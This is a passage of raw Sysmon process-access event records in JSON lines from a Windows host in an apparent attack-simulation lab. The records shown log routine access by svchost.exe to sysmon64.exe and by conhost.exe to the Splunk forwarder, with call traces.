11:52:27.369","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:28","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:27","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3215,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:27.369\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:27.369","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:28","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:27","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3216,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:27.369\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:27.369","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:28","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:27","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3217,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:27.369\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:27.369","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:28","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:27","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3218,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:27.369\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:27.369","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:28","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:27","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3219,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:27.369\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:27.369","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:28","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:27","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3220,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:27.369\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:27.369","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:28","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:27","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3221,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:27.369\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:27.369","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:28","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:27","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3222,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:27.369\r\nSourceProcessGUID: {90617006-407B-5F2D-0000-0010F9130500}\r\nSourceProcessId: 1396\r\nSourceThreadId: 5068\r\nSourceImage: C:\\Windows\\system32\\conhost.exe\r\nTargetProcessGUID: {90617006-407B-5F2D-0000-00101C150500}\r\nTargetProcessId: 5088\r\nTargetImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\SYSTEM32\\ConhostV2.dll+5c07|C:\\Windows\\SYSTEM32\\ConhostV2.dll+76ab|C:\\Windows\\SYSTEM32\\ConhostV2.dll+a84c|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:27.369","SourceProcessGUID":"{90617006-407B-5F2D-0000-0010F9130500}","SourceProcessId":"1396","SourceThreadId":"5068","SourceImage":"C:\\Windows\\system32\\conhost.exe","TargetProcessGUID":"{90617006-407B-5F2D-0000-00101C150500}","TargetProcessId":"5088","TargetImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\SYSTEM32\\ConhostV2.dll+5c07|C:\\Windows\\SYSTEM32\\ConhostV2.dll+76ab|C:\\Windows\\SYSTEM32\\ConhostV2.dll+a84c|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:28","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 